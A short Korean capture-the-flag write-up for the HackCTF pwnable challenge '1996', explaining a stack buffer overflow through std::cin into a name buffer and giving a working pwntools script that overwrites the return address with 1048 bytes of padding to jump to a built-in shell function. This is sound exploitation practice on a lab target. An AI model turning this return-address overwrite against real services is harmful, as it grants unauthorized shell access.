Search

[HackCTF] 1996

Tags
pwnable
Category
HackCTF
Create Time
2022/01/07 12:50

1. 문제

NX 비트가 걸려있다
프로그램을 실행하면 다음과 같이 나온다. 어떠한 환경 변수를 읽고 싶은지 묻고 입력을 하면 입력한 값을 출력해주고 끝나게 된다
코드를 보면 C++ 코드로 구성된것을 알 수 있다.
코드만 보면 v3을 v4에 넣고 v7, v8 이걸 v9에 넣고,,, 복잡하다.
그리고 shell을 실행시키는 함수가 내장되어 있으므로 이를 이용해서 푸는 문제인 것 같다

2. 접근방법

복잡할 것 같지만 다 훼이크이고 std cin을 이용해 name 변수를 통한 bof로 문제를 풀면 끝날 것 같다
name 부터 ret 까지 1048 크기이니 1048+ spawn_shell 주소 이렇게 주면 된다

3. 풀이

최종 익스 코드는 다음과 같다
from pwn import * p = remote("ctf.j0n9hyun.xyz",3013) p.recvuntil("Which environment variable do you want to read?") payload = "A"*1048 payload += p64(0x0000000000400897) p.sendline(payload) p.interactive()
C
복사

4. 몰랐던 개념

쫄지말자